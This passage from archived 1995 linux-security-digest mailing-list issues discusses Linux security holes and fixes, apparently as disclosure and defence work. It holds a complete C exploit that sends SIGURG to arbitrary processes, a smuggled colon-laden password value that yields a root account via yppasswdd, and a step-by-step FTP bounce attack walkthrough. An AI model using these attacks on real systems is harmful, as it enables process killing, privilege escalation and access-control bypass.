/cdrom/Slackware_Source/n/tcpip/wu-ftpd-2.4.tar.gz cd wu-ftpd-2.4 zcat /cdrom/Slackware_Source/n/tcpip/wu-ftpd-2.4.diff.gz | patch mv src/pathnames.h src/pathnames.h-slack sed -e 's/_PATH_EXECPATH.*"\/bin"/_PATH_EXECPATH "\/bin\/ftp-exec"/' \ src/pathnames.h-slack >src/pathnames.h build lnx mv /usr/sbin/wu.ftpd /usr/sbin/wu.ftpd-slack install -m 755 -g bin -o root -s bin/ftpd /usr/sbin/wu.ftpd echo '*** Restart inetd process, or reboot! ***' # {[email protected] | [email protected] | [email protected]} - ----------------------------wu-ftpd.sh----------------------------------- Hope this is of some utility. - -- Louis-ljl-{[email protected] | [email protected]} [Mod: I am forwarding this script to the security list, but that does *not* imply that I have tested it (in fact I haven't). It looks OK to me, but that does not mean that I can attest to its correctness; standard disclaimers from the moderator(s) apply. --Jeff.] ------------------------------ From: Marek Michalkiewicz Date: Wed, 14 Jun 1995 21:58:52 +0200 (MET DST) Subject: wu-ftpd and /proc again Hi, so far I received mail from two people who confirm the wu-ftpd+shadow+/proc security hole, so that's not just me. This is a more general problem with /proc (not only with wu-ftpd) - interesting things under /proc/pid are owned by the euid (== the user logged in via ftp) of the process. My previous fix is not enough - one can still read /proc/pid/mem, and write to other files kept open by ftpd (like wtmp or xferlog). I reported this to Linus so it will hopefully be fixed soon. The proc(5) man page says (in the "BUGS" section): "The /proc file system totally destroys the security of your system. This needs fixing before 1.2" - hopefully we can fix it before 1,2,12 or so,,, The current kernel is 1.2.10 and it is still vulnerable. A quick fix is to create a new group "proc", add the following commands to your startup files after mounting /proc: chmod 550 /proc chown root.proc /proc Now make all commands which need /proc (ps, top, w, ...) setgid proc, and reboot. This seems to work, but is really only a temporary fix. Regards, Marek Michalkiewicz ------------------------------ End of linux-security-digest V1 #24 *********************************** linux-security-digest/1995/v01.n025100664 1767 1767 11426 5773637361 16072 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #25 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Monday, 26 June 1995 Volume 01 : Number 025 Fragmentation Re: Fragmentation Details on yppasswdd hole running w/o proc fs? Re: running w/o proc fs? ---------------------------------------------------------------------- From: [email protected] (Panzer Boy) Date: 15 Jun 1995 02:54:56 -0400 Subject: Fragmentation Anyone know about linux's ip firewall ability concerning packet fragmentation. It's currently the "hot thing" as even cisco's are vulnerable (if you don't have current patch). My guess is that it shouldn't be as the firewall code should be called after all packets are reassembled, though I've learned to never assume things when it comes to security. Can either someone who has looked at the code (I haven't had a chance), or has written part of it comment? (ps, my I have a basic version of skey support integrated in the shadow3.3.2 system. This verion of skey is taken directly from log-daemon 4.9, and supports md4, md5, and also the skey.access file. If you are interested in helping test out this version, please email me.) - -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." ------------------------------ From: [email protected] (Alan Cox) Date: Tue, 20 Jun 1995 09:20:18 +0100 (BST) Subject: Re: Fragmentation > Anyone know about linux's ip firewall ability concerning packet > fragmentation. It's currently the "hot thing" as even cisco's are > vulnerable (if you don't have current patch). Linux passes all but the first fragment. It could be extended to check all rules that dont require a port match on the scan. > My guess is that it shouldn't be as the firewall code should be called > after all packets are reassembled, though I've learned to never assume > things when it comes to security. Fragments can take different routes so if you have >1 gateway box you lose. This is why fragments are only assembled on the target host. Alan ------------------------------ From: [email protected] (Olaf Kirch) Date: Fri, 23 Jun 1995 21:35:44 +0200 (MET DST) Subject: Details on yppasswdd hole Hi all, here's the details on the hole in my yppasswdd. The bug was stupid and simple; I forgot to check the user-supplied password for colons. This allows people to submit a password update with a password like this: :0:0:Big Boss:/:/tmp/foo This will turn their password entry into something like this: joe.user::0:0:Big Boss:/:/tmp/foo:Joe Random User:/home/joe:/bin/bash All they now have to do is to copy their favorite shell to /tmp/foo:Joe Random User:/home/joe:/bin/bash Note that all of these are valid filename characters. While fixing this, I noticed a second oversight, which may not be as bad, but may cause problems nevertheless: Users were able to set passwords for NIS entries like +janet or -joe if they were passwordless. Usually, entries like these should not occur in the NIS server's password file, and I do not believe they are acutally checked by any program. The new version checks for them anyway. Olaf - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. ------------------------------ From: [email protected] (Daniel Pewzner) Date: Tue, 20 Jun 1995 07:42:12 -0700 Subject: running w/o proc fs? [mod: Please send any replies to Daniel directly. Daniel, could you post a summary to the list, please? --okir] I have attempted to run w/o the proc fs, but am unable to get the basic networking utils w/o proc support. Is anyone aware of where I can find /proc-less netstat, route, arp, etc... Or might be able to point me in the direction of some code I can easily transplant? I'm not much when it comes to programming, but I dabble. Thanks! Daniel Pewzner [email protected] ------------------------------ From: Marek Michalkiewicz Date: Mon, 26 Jun 1995 19:19:05 +0200 (MET DST) Subject: Re: running w/o proc fs? Hi, it shouldn't be necessary to run the system without the /proc filesystem. Please try my kernel patch which should hopefully fix the problem. The patch is against 1.2.10 and I've sent it to Linus, but I don't know when 1.2.11 will be released... In the meantime, try ftp://ftp.ists.pwr.wroc.pl/pub/linux/kernel/patches/secure_proc_v2.gz Please test this and tell me if you see any problems or remaining holes. Regards, Marek Michalkiewicz ------------------------------ End of linux-security-digest V1 #25 *********************************** linux-security-digest/1995/v01.n026100664 1767 1767 50521 6000575245 16054 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #26 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Tuesday, 11 July 1995 Volume 01 : Number 026 Hacking a site with Postscript Secure Distributed Password System? Re: Hacking a site with Postscript Re: Secure Distributed Password System? Any user can send a SIGURG to any process +:*:0:0:::/bin/false does not work. Why? Re: Secure Distributed Password System? Re: +:*:0:0:::/bin/false does not work. Why? Re: Secure Distributed Password System? Re: +:*:0:0:::/bin/false does not work. Why? Re: Exploit for Linux wu.ftpd hole [Forwarded e-mail from Stan Barber] Interesting stuff Re: Secure Distributed Password System? Exploit+fix for Linux SIGURG ---------------------------------------------------------------------- From: [email protected] (Olaf Kirch) Date: Mon, 3 Jul 1995 18:04:20 +0200 (MET DST) Subject: Hacking a site with Postscript - -----BEGIN PGP SIGNED MESSAGE----- Hi all, The following should concern all you web users out there: Starting with Level 2, Postscript implements a number of file operators that allow you to read and write arbitrary files. Newer versions of ghostscript implement these operators. (I checked 2.6.1, and it does. I don't know about 2.5 and earlier, though). To round off the picture, it also features a non-standard operator named getenv to read things like your HOME directory from your environment. This can be exploited to open up your system by writing to your .rhosts file. While this is not so dangerous with postscript files distributed via FTP, MIME-aware WWW clients make planting these traps on the Web all too easy. Needless to say, you can configure your HTTP daemon to log all accesses, so tracking the downloaders of this infected PS file is simple. While ghostscript itself has a switch to disable file writing (command- line option -dSAFER), this is not enabled by ghostview 1.4 per default. On the other hand, ghostview 1.5 turns this on by default (and has its own pair of commandline options to toggle this behavior). To be safe from this type of attack, make sure you run ghostview 1.5. Also make sure that the -safer option is not being turned off in the resource file (the resource name is *safer). There is now also a bulletin by DFNCERT, the German branch of CERT. If there's any interest in this, and if I find the time, I may send out a translation to linux-security. We will also release a somewhat briefer description of this hole to linux-alert. Olaf - - - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. - -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCUAgUBL/gU9uFnVHXv40etAQHO1AP4gd25k2jYwt6IyuuptO0D8afZC9CfGeT4 u9PpyED/99QVJjw/NXIslsS76abC+7nL+mI0tgwgjqW7KaXUqUIpYMP+FYozwhlX QUfaPlMHag0+VFr3xrL555Il4Appf4Ccu52COwp8u+2wtTq/66H8p+2MSzW4GQx1 ZwftvSgdWQ== =uLnh - -----END PGP SIGNATURE----- ------------------------------ From: Rob Hardy Date: Mon, 3 Jul 1995 18:41:21 -0400 (EDT) Subject: Secure Distributed Password System? I'm trying to get a secure distributed password system going under linux. >From the sounds of it I believe I'm after something like NIS+. But as far as I know this isn't available. Security Concerns: packet sniffing clients can't be trusted with whole password file clients are booting via bootp clients are diskless Basically I want the security that shadow gives over the net. Is this possible with linux currently and does anyone know how do I do it? - -- - ----------------------------------------------------------------------- Robert Hardy Home: (613)226-2326|System Administrator BNR Software Designer: [email protected] (613)763-6106| Systems Consultant Aurora Project Director: [email protected]| Network Consultant "Linux the Choice of a GNU Generation!" | Web Consultant ------------------------------ From: Wolfgang Ley Date: Tue, 4 Jul 1995 08:12:58 +0200 (MET DST) Subject: Re: Hacking a site with Postscript - -----BEGIN PGP SIGNED MESSAGE----- Olaf Kirch wrote: [...] > There is now also a bulletin by DFNCERT, the German branch of CERT. > If there's any interest in this, and if I find the time, I may send out > a translation to linux-security. Argh. The DFN-CERT is *not* the "German branch of CERT". The DFN-CERT is an independent Computer Emergency Response Team for the german research network (DFN). We are a member of FIRST (Forum of Incident Rsponse and Security Teams) are are working together with other teams around the world. Other teams are using the DFN-CERT as a contact-point in Germany to inform us about attacks to or from german sites. Of course we are also working together with the CERT/CC ([email protected]) in some issues - but we are *not* the "german part of them". For information on FIRST try http://www.first.org/first/ To get more information about the DFN-CERT see http://www.cert.dfn.de/eng/ Bye, Wolfgang Ley (DFN-CERT) - - -- - - ---------------------------------------------------------------------- Wolfgang Ley, DFN-CERT, Vogt-Koelln-Str. 30, 22527 Hamburg, Germany Email: [email protected] Phone: +49 40 54715-262 Fax: +49 40 54715-241 PGP-Key available via finger [email protected] any key-server or via WWW from http://www.cert.dfn.de/~ley/ ...have a nice day - -----BEGIN PGP SIGNATURE----- Version: 2.6.2i iQCVAwUBL/jb1AQmfXmOCknRAQFxewQAusAuAAoTJXt1SfJVwxxCfeFXMOYAxURl O3oT4aNxcnvZB7jTMyIFSmAiCK8sXenJsioVCg7sN7v3xOdjoEsZTEez//r0sTkY 9jANd/jp3o6/QikBvs57O3Xf4ZFDH+Wq3X0S1VPLaG94Lc+aGj7oGWdl6nVcPuo7 kHXBGPtJ5hQ= =OUCQ - -----END PGP SIGNATURE----- ------------------------------ From: [email protected] (Alan Cox) Date: Wed, 5 Jul 1995 08:32:13 +0100 (BST) Subject: Re: Secure Distributed Password System? > Security Concerns: > packet sniffing > clients can't be trusted with whole password file > clients are booting via bootp > clients are diskless > > Basically I want the security that shadow gives over the net. > > Is this possible with linux currently and does anyone know how do I do it? Kerberos - you've basically listed all the major points of it 8). In the USA it should be easy to get, in europe you'll need to build it from E-Bones and other encryptions (available), or get the US one via unofficial channels. Alan ------------------------------ From: Marek Michalkiewicz Date: Thu, 6 Jul 1995 17:09:47 +0200 (MET DST) Subject: Any user can send a SIGURG to any process There is a security hole in the kernel (up to 1.2.11, probably 1.3.x too) - - any user can send a SIGURG to any process. I wrote a program to exploit this - it wasn't really hard to write :) - but I'm not sure if it is OK to post it here... See below for a fix. Marek Michalkiewicz - ---------- diff -urN v1.2.11/linux/net/inet/af_inet.c linux/net/inet/af_inet.c - --- v1.2.11/linux/net/inet/af_inet.c Tue Jun 13 15:18:50 1995 +++ linux/net/inet/af_inet.c Wed Jul 5 16:00:19 1995 @@ -1260,6 +1260,7 @@ { struct sock *sk=(struct sock *)sock->data; int err; + int tmp; switch(cmd) { @@ -1268,7 +1269,11 @@ err=verify_area(VERIFY_READ,(int *)arg,sizeof(long)); if(err) return err; - - sk->proc = get_fs_long((int *) arg); + tmp = get_fs_long((int *) arg); + /* see inet_fcntl */ + if (current->pid != tmp && current->pgrp != -tmp && !suser()) + return -EPERM; + sk->proc = tmp; return(0); case FIOGETOWN: case SIOCGPGRP: - ---------- ------------------------------ From: Konstantin Beznosov Date: Thu, 06 Jul 95 10:54:18 -0400 Subject: +:*:0:0:::/bin/false does not work. Why? I run Linux 1.2.3 slackware distribution. NIS (or NYS :) stuff comes with the distribution (n* diskets/subdirs). I found out that if I put a record +:*:0:0:::/bin/false in /etc/passwd to be able authorize users but do not allow them to log into the system ( i need it for some server authorization), it looks like the record does not work: The user can log in to the system and the fact that the user should have login shell /bin/false is ignored. Also, if i put something like "/dev/null" into homdir field, the field is ignored as well. The most interesting thing is that if I make light change and put any user: +userfoo:*:0:0:::/bin/false it works just fine: userfoo gets authorized but gets kicked out from the host. What can I do about it? Is it bug or I don't understand something in NIS/Linux? Answers will be appreciated. K ------------------------------ From: alex Date: Wed, 5 Jul 1995 13:16:57 -0400 (EDT) Subject: Re: Secure Distributed Password System? On Wed, 5 Jul 1995, Alan Cox wrote: > > Security Concerns: > > packet sniffing > > clients can't be trusted with whole password file > > clients are booting via bootp > > clients are diskless ^^^^^^^^^^^^^^^^^^^^^^^^^ > > Basically I want the security that shadow gives over the net. > > Is this possible with linux currently and does anyone know how do I do it? > > Kerberos - you've basically listed all the major points of it 8). Assuming that clients are diskless and/or there are Xterminals or just terminals attached to the network, I think that Kerberos is not a solution because: a) Bootp protocol is not kerberos aware i.e. it is a subject of spoofing b) Duing the login procedure packet sniffer will pickup a password Best wishes, Alex ============================================================================ Alexander O. Yuriev Email: [email protected] CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex Philadelphia, PA, USA PGP Key: 1024/ADF3EE95 Fingerprint: AB4FE7382C3627BC 6934EC2A2C05AB62 Unless otherwise stated, everything above is my personal opinion and not an opinion of any organisation affiliated with me. ============================================================================= ------------------------------ From: "Stephen C. Tweedie" Date: Fri, 7 Jul 1995 04:07:59 +0100 (BST) Subject: Re: +:*:0:0:::/bin/false does not work. Why? Hi, On Thu, 6 Jul 1995, Konstantin Beznosov wrote: > I run Linux 1.2.3 slackware distribution. NIS (or NYS :) stuff comes with the > distribution (n* diskets/subdirs). > > I found out that if I put a record > +:*:0:0:::/bin/false > in /etc/passwd to be able authorize users but do not allow them to log into the > system ( i need it for some server authorization), it looks like the record > does > not work: This was not completely implemented in libraries prior to libc-4.6.27. Are you using an earlier version, perhaps? Cheers, Stephen. - -- Stephen Tweedie, Web13 , Dept. of Computer Science, Edinburgh University, Scotland ------------------------------ From: [email protected] (Alan Cox) Date: Fri, 7 Jul 1995 08:56:00 +0100 (BST) Subject: Re: Secure Distributed Password System? > Assuming that clients are diskless and/or there are Xterminals or just > terminals attached to the network, I think that Kerberos is not a > solution because: > > a) Bootp protocol is not kerberos aware i.e. it is a subject of > spoofing > b) Duing the login procedure packet sniffer will pickup a password Diskless clients are ok - the snooper will see the nfs load of the program not the password. Xterminals are. Bootp doesnt matter. Someone can spoof bootp information, they can even get a new machine on the net. They still have to know their kerberos password to go any further. Alan ------------------------------ From: Swen Thuemmler Date: Fri, 7 Jul 1995 11:20:12 +0200 (MET DST) Subject: Re: +:*:0:0:::/bin/false does not work. Why? [mod: quoting trimmed. --okir] On Fri, 7 Jul 1995, Stephen C. Tweedie wrote: > This was not completely implemented in libraries prior to libc-4.6.27. > Are you using an earlier version, perhaps? Overwriting field in the general +:::::: entry was not implemented prior to libc-4.6.30. Unfortunately this lib was not officially released, so you will either have to stick with this behaviour or upgrade to a newer version (libc-4.7.4, but this means changing the filesystem layout or switching to ELF), or you may use the pwd/* and grp/* routines from libc-4.7.4 in libc-4.6.27, this means recompiling. Sorry, no easy answer. - --Swen ------------------------------ From: Jeff Uphoff Date: Fri, 7 Jul 1995 11:43:13 -0400 Subject: Re: Exploit for Linux wu.ftpd hole [Forwarded e-mail from Stan Barber] This appeared on bugtraq and I think that it may be of general interest here in view of our recent alert on wu-ftpd and the widespread use of insecure wu-ftpd's within the Linux community. I'm sure they would appreciate all *valid* security critiques that you can provide. - --Up. P.S. I have received several requests for the bugtraq list address. The address of the list appears in the mail headers below--but please note that the administrative address is "[email protected]"--please do not send administrative commands (help, subscribe, etc.) to the bugtraq address. Send a message containing the word "help" in the body to the Netspace address for further information. The server there is a LISTSERV, vice a Majordomo, so things work differently than on the Linux security lists. - ------- start of forwarded message (RFC 934 encapsulation) ------- From: Stan Barber To: Multiple recipients of list BUGTRAQ Subject: Re: Exploit for Linux wu.ftpd hole Date: Wed, 5 Jul 1995 17:46:17 CDT Reply-To: Bugtraq List I have been working with folks on the wu-ftpd list to create a new release of wu-ftpd-2.4 that has many bugs fixed (including the bug fixes from Hobbit). We are in BETA4 and BETA5 will be out soon, but the BETA release are mostly addressing smaller problems now. I expect to have a "release" version by the middle of this month. If you want to see if there are still open security problems, please do. Here is the URL for the beta: ftp://ftp.academ.com/pub/wu-ftpd/private/wu-ftpd-2.4.2-beta-4.tar Report problems/bugs to "[email protected]" and join the wu-ftpd list at Washington University if you want get involved. Note: This version has been tested on Linux 1.2.8 as well as other platforms. - - -- Stan | Academ Consulting Services |internet: [email protected] Olan | For more info on academ, see this |uucp: bcm!academ!sob Barber | URL- http://www.academ.com/academ |Opinions expressed are only mine. - ------- end ------- ------------------------------ From: Aleph One Date: Fri, 7 Jul 1995 12:33:03 -0500 (CDT) Subject: Interesting stuff - ---------- Forwarded message ---------- Date: Thu, 6 Jul 1995 11:08:11 AKD From: Paul Tony Watson To: Multiple recipients of list BUGTRAQ Subject: Yggdrasil Linux (mis)configuration problem I have noticed a serious problem with the Yggdrasil Linux cdrom. The problems I have noticed are on the on the Fall94 release... I have not had time to check newer releases... (Maybe someone else can check??) The following directories are installed on the new system with perms of drwxrwxrwx: /usr/bin /usr/sbin /usr/lib /usr/man /usr/packages /usr/src (and others) The problems are obvious... ================================================================ | Paul A. Watson | Current Work Location: | | System & Security Administrator| Elmendorf AFB, 611 OSS/TBX| | Email: [email protected]. | Anchorage, Alaska | | http://www.ctis.af.mil/~watson | | ================================================================ ------------------------------ From: [email protected] (Raul Miller) Date: Fri, 7 Jul 95 12:05 GMT Subject: Re: Secure Distributed Password System? Alex: > Assuming that clients are diskless and/or there are Xterminals or > just terminals attached to the network, I think that Kerberos is > not a solution because: > > a) Bootp protocol is not kerberos aware i.e. it is a subject of > spoofing > b) Duing the login procedure packet sniffer will pickup a password Alan Cox: Diskless clients are ok - the snooper will see the nfs load of the program not the password. Xterminals are. Bootp doesnt matter. Someone can spoof bootp information, they can even get a new machine on the net. They still have to know their kerberos password to go any further. Bootp matters. The problem is not spoofing of a bootp client, but spoofing a bootp server. Here, you can have corrupt code running resulting in a non-secure environment into which you would inject a Kerberos password. Voila, instant compromised password. - -- Raul Miller ------------------------------ From: Marek Michalkiewicz Date: Tue, 11 Jul 1995 18:37:43 +0200 (MET DST) Subject: Exploit+fix for Linux SIGURG Thanks for all the mail I received about this bug. Enclosed is the promised exploit program, and kernel patch for 1.2.11 which will plug this hole. This patch is in 1.3.7 but not yet in 1.2.x. - ---------- /* This program, when run on most Linux systems (tested with 1.2.9, but should work with versions at least up to 1.2.11 and 1.3.6), will send SIGURG to specified process, even if you don't own it. This signal (unless caught or ignored) will terminate the process, so please don't do that without the permission from your system administrator. Thank you. Copyright (C) 1995 Marek Michalkiewicz This program is free software, see the GNU General Public License for more legalese... There is no warranty - after all, this bug may be fixed soon :-). This piece of code is probably not an example of proper programming style - please don't look at it too closely. The intent is to show a security hole in the Linux kernel. */ #include #include #include #include #include #include #include #include #define PORT 8765 /* just a random hopefully unused TCP port */ #define ERROR_CHECK(x, msg) do { \ if ((x) == -1) { \ perror(msg); \ exit(1); \ } \ } while (0) int main(int argc, char *argv[]) { int s, s1, child_pid; struct sockaddr_in addr; int one = 1; char c = 0; if (argc != 2) { fprintf(stderr, "usage: %s pid\n", argv[0]); exit(1); } ERROR_CHECK( s = socket(AF_INET, SOCK_STREAM, 0), "socket" ); ERROR_CHECK( setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof one), "setsockopt" ); memset(&addr, 0, sizeof addr); addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = INADDR_ANY; ERROR_CHECK( bind(s, (struct sockaddr *) &addr, sizeof addr), "bind" ); ERROR_CHECK( listen(s, 1), "listen" ); ERROR_CHECK( child_pid = fork(), "fork" ); if (child_pid == 0) { /* child */ int pid_to_kill = atoi(argv[1]); ERROR_CHECK( s1 = socket(AF_INET, SOCK_STREAM, 0), "child socket" ); ERROR_CHECK( connect(s1, (struct sockaddr *) &addr, sizeof addr), "child connect" ); ERROR_CHECK( ioctl(s1, FIOSETOWN, &pid_to_kill), "child ioctl" ); /* !!! */ ERROR_CHECK( write(s1, &c, 1), "child write" ); /* wake up blocked parent */ ERROR_CHECK( read(s1, &c, 1), "child read" ); _exit(0); } ERROR_CHECK( s1 = accept(s, NULL, NULL), "accept" ); ERROR_CHECK( read(s1, &c, 1), "read" ); /* block until child is ready */ ERROR_CHECK( send(s1, &c, 1, MSG_OOB), "send" ); /* this will send SIGURG */ return 0; } - ---------- diff -urN v1.2.11/linux/net/inet/af_inet.c linux/net/inet/af_inet.c - --- v1.2.11/linux/net/inet/af_inet.c Tue Jun 13 15:18:50 1995 +++ linux/net/inet/af_inet.c Wed Jul 5 16:00:19 1995 @@ -1260,6 +1260,7 @@ { struct sock *sk=(struct sock *)sock->data; int err; + int tmp; switch(cmd) { @@ -1268,7 +1269,11 @@ err=verify_area(VERIFY_READ,(int *)arg,sizeof(long)); if(err) return err; - - sk->proc = get_fs_long((int *) arg); + tmp = get_fs_long((int *) arg); + /* see inet_fcntl */ + if (current->pid != tmp && current->pgrp != -tmp && !suser()) + return -EPERM; + sk->proc = tmp; return(0); case FIOGETOWN: case SIOCGPGRP: - ---------- ------------------------------ End of linux-security-digest V1 #26 *********************************** linux-security-digest/1995/v01.n027100664 1767 1767 50121 6002270763 16050 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #27 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Sunday, 16 July 1995 Volume 01 : Number 027 Re: [Linux-ISP] Slackware questions (fwd) The FTP Bounce Attack (fwd) More on the FTP bounce attack lpr(1) bug Phrack ---------------------------------------------------------------------- From: Aleph One Date: Mon, 10 Jul 1995 13:00:16 -0500 (CDT) Subject: Re: [Linux-ISP] Slackware questions (fwd) Aleph One / [email protected] http://underground.org/ - ---------- Forwarded message ---------- Date: Sat, 8 Jul 1995 06:54:00 -0400 (EDT) From: Zygo Blaxell To: [email protected] Cc: [email protected] Subject: Re: [Linux-ISP] Slackware questions Quoted from James Cook: > What sort of security holes need to be plugged in the March '95 > InfoMagic release of Slackware? I seem to recall seeing a message > about the finger and ftp programs needing upgrading. Anything else? 'lpr -r -s' can be used to print or remove any file. I sent the bug report to Slackware's bug address. Dunno if anything has been done since then (strangely enough, I never seem to need to configure printers, so I just 'rm -f /usr/bin/lpr /usr/sbin/lpd'. The problem is simple: lp[dr] remove/open the files they are printing as root, instead of the ID of whoever requested the job. D'oh. - -- Zygo Blaxell, acting sysadmin and current software/hardware guru for the University of Waterloo Computer Science Club; current sysadmin for miranda. uwaterloo.ca and ezmail.com. 10th place team, ACM Intl Finals Programming Contest 1994. Will administer Unix (esp. Linux, maybe Solaris) for food. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ To [un]subscribe to this list, contact [email protected] Please send contributions for the mailing list to: [email protected] Please contact the mailing-list-owner as: [email protected] ------------------------------ From: [email protected] (Olaf Kirch) Date: Wed, 12 Jul 1995 23:27:45 +0200 (MET DST) Subject: The FTP Bounce Attack (fwd) Hi all, this just came in over bugtraq. Although you may not be concerned with someone retrieving files they should not retrieve, you should be concerned with other uses and abuses of this trick. See my second message for more details. Olaf - ------------------------------------------------------------------ > Approved-By: [email protected] > Approved-By: *Hobbit* > Message-ID: <[email protected]> > Date: Wed, 12 Jul 1995 02:20:20 -0400 > Reply-To: Bugtraq List > Sender: Bugtraq List > From: *Hobbit* > Subject: The FTP Bounce Attack > X-To: [email protected] > To: Multiple recipients of list BUGTRAQ > > This discusses one of many possible uses of the "FTP server bounce attack". > The mechanism used is probably well-known, but to date interest in detailing > or fixing it seems low to nonexistent. This particular example demonstrates > yet another way in which most electronically enforced "export restrictions" are > completely useless and trivial to bypass. It is chosen in an effort to make > the reader sit up and notice that there are some really ill-conceived aspects > of the standard FTP protocol. > > Thanks also to Alain Knaff at imag.fr for a brief but entertaining discussion > of some of these issues a couple of months ago which got me thinking more > deeply about them. > > The motive > ========== > > You are a user on foreign.fr, IP address F.F.F.F, and want to retrieve > cryptographic source code from crypto.com in the US. The FTP server at > crypto.com is set up to allow your connection, but deny access to the crypto > sources because your source IP address is that of a non-US site [as near as > their FTP server can determine from the DNS, that is]. In any case, you > cannot directly retrieve what you want from crypto.com's server. > > However, crypto.com will allow ufred.edu to download crypto sources because > ufred.edu is in the US too. You happen to know that /incoming on ufred.edu > is a world-writeable directory that any anonymous user can drop files into and > read them back from. Crypto.com's IP address is C.C.C.C. > > The attack > ========== > > This assumes you have an FTP server that does passive mode. Open an FTP > connection to your own machine's real IP address [not localhost] and log in. > Change to a convenient directory that you have write access to, and then do: > > quote "pasv" > quote "stor foobar" > > Take note of the address and port that are returned from the PASV command, > F,F,F,F,X,X. This FTP session will now hang, so background it or flip to > another window or something to proceed with the rest of this. > > Construct a file containing FTP server commands. Let's call this file > "instrs". It will look like this: > > user ftp > pass -anonymous@ > cwd /export-restricted-crypto > type i > port F,F,F,F,X,X > retr crypto.tar.Z > quit > ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@ > ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@ > ... > > F,F,F,F,X,X is the same address and port that your own machine handed you > on the first connection. The trash at the end is extra lines you create, > each containing 250 NULLS and nothing else, enough to fill up about 60K of > extra data. The reason for this filler is explained later. > > Open an FTP connection to ufred.edu, log in anonymously, and cd to /incoming. > Now type the following into this FTP session, which transfers a copy of your > "instrs" file over and then tells ufred.edu's FTP server to connect to > crypto.com's FTP server using your file as the commands: > > put instrs > quote "port C,C,C,C,0,21" > quote "retr instrs" > > Crypto.tar.Z should now show up as "foobar" on your machine via your first FTP > connection. If the connection to ufred.edu didn't die by itself due to an > apparently common server bug, clean up by deleting "instrs" and exiting. > Otherwise you'll have to reconnect to finish. > > Discussion > ========== > > There are several variants of this. Your PASV listener connection can be > opened on any machine that you have file write access to -- your own, another > connection to ufred.edu, or somewhere completely unrelated. In fact, it does > not even have to be an FTP server -- any utility that will listen on a known > TCP port and read raw data from it into a file will do. A passive-mode FTP > data connection is simply a convenient way to do this. > > The extra nulls at the end of the command file are to fill up the TCP windows > on either end of the ufred -> crypto connection, and ensure that the command > connection stays open long enough for the whole session to be executed. > Otherwise, most FTP servers tend to abort all transfers and command processing > when the control connection closes prematurely. The size of the data is enough > to fill both the receive and transmit windows, which on some OSes are quite > large [on the order of 30K]. You can trim this down if you know what OSes > are on either end and the sum of their default TCP window sizes. It is split > into lines of 250 characters to avoid overrunning command buffers on the target > server -- probably academic since you told the server to quit already. > > If crypto.com disallows *any* FTP client connection from you at foreign.fr and > you need to see what files are where, you can always put "list -aR" in your > command file and get a directory listing of the entire tree via ufred. > > You may have to retrieve your command file to the target's FTP server in ASCII > mode rather than binary mode. Some FTP servers can deal with raw newlines, but > others may need command lines terminated by CRLF pairs. Keep this in mind when > retrieving files to daemons other than FTP servers, as well. > > Other possbilities > ================== > > Despite the fact that such third-party connections are one-way only, they > can be used for all kinds of things. Similar methods can be used to post > virtually untraceable mail and news, hammer on servers at various sites, fill > up disks, try to hop firewalls, and generally be annoying and hard to track > down at the same time. A little thought will bring realization of numerous > other scary possibilities. > > Connections launched this way come from source port 20, which some sites allow > through their firewalls in an effort to deal with the "ftp-data" problem. For > some purposes, this can be the next best thing to source-routed attacks, and is > likely to succeed where source routing fails against packet filters. And it's > all made possible by the way the FTP protocol spec was written, allowing > control connections to come from anywhere and data connections to go anywhere. > > Defenses > ======== > > There will always be sites on the net with creaky old FTP servers and > writeable directories that allow this sort of traffic, so saying "fix all > the FTP servers" is the wrong answer. But you can protect your own against > both being a third-party bouncepoint and having another one used against you. > > The first obvious thing to do is allow an FTP server to only make data > connections to the same host that the control connection originated from. > This does not prevent the above attack, of course, since the PASV listener > could just as easily be on ufred.edu and thus meet that requirement, but > it does prevent *your* site from being a potential bouncepoint. It also > breaks the concept of "proxy FTP", but hidden somewhere in this paragraph > is a very tiny violin. > > The next obvious thing is to prohibit FTP control connections that come from > reserved ports, or at least port 20. This prevents the above scenario as > stated. > > Both of these things, plus the usual poop about blocking source-routed packets > and other avenues of spoofery, are necessary to prevent hacks of this sort. > And think about whether or not you really need an open "incoming" directory. > > Only allowing passive-mode client data connections is another possibility, > but there are still too many FTP clients in use that aren't passive-aware. > > "A loose consensus and running code" > ==================================== > > There is some existing work addressing this available here at avian.org [and > has been for several months, I might add] in the "fixkits archive". Several > mods to wu-ftpd-2.4 are presented, which includes code to prevent and log > attempts to use bogus PORT commands. Recent security fixes from elsewhere are > also included, along with s/key support and various compile-time options to > beef up security for specific applications. > > Stan Barber at academ.com is working on merging these and several other fixes > into a true updated wu-ftpd release. There are a couple of other divergent > efforts going on. Nowhere is it claimed that any of this work is complete yet, > but it is a start toward something I have had in mind for a while -- a > network-wide release of wu-ftpd-2.5, with contributions from around the net. > The wu-ftpd server has become very popular, but is in sad need of yet another > security upgrade. It would be nice to pull all the improvements together into > one coordinated place, and it looks like it will happen. All of this still > won't help people who insist on running vendor-supplied servers, of course. > > Sanity-checking the client connection's source port is not implemented > specifically in the FTP server fixes, but in modifications to Wietse's > tcp-wrappers package since this problem is more general. A simple PORT option > is added that denies connections from configurable ranges of source ports at > the tcpd stage, before a called daemon is executed. > > Some of this is pointed 